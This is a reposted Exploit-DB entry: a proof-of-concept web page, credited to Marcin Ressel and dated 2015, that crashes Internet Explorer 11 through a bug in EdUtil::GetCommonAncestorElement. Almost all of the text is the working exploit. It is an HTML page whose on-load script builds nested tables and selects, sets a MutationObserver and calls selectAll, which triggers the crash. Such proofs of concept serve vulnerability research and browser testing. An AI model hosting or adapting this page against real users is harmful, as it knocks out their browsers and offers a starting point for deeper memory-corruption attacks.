Microsoft Internet Explorer 11.0.9600.18124 EdUtil::GetCommonAncestorElement – Denial of Service - 体验盒子

作者： Marcin Ressel

日期： 2015-12-31

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/39144/

<!doctype html>
<html>
	<head>
		<meta http-equiv='Cache-Control' content='no-cache'/>
		<title>EdUtil::GetCommonAncestorElement Remote Crash</title>
		<script>
/*
* Title : IE11 EdUtil::GetCommonAncestorElement Remote Crash
* Date : 31.12.2015
* Author : Marcin Ressel (https://twitter.com/m_ressel)
* Vendor Hompage : www.microsoft.com
* Software Link : n/a
* Version : 11.0.9600.18124
* Tested on: Windows 7 x64
*/
 		
var trg,src,arg;
var range,select,observer;
			function testcase()
			{
			document.body.innerHTML ='<table><colgroup></colgroup><table><tbody><table><table></table><col></col></table></tbody></table></table><select><option>0]. option</option><option>1]. option</option></select><ul type="circle"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>';
		var all = document.getElementsByTagName("*"); 
			trg = all[9];
			src = all[2]; 
				arg = all[12];
	select = document.getSelection(); 
			observer = new MutationObserver(new Function("","range = select.getRangeAt(258);")); 
				select.selectAllChildren(document);
			document.execCommand("selectAll",false,'<ul type="square"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li><li>4]. li</li><li>5]. li</li><li>6]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>');	
			}
		</script>
	</head>
	<body onload='testcase();'>	
	</body>
</html>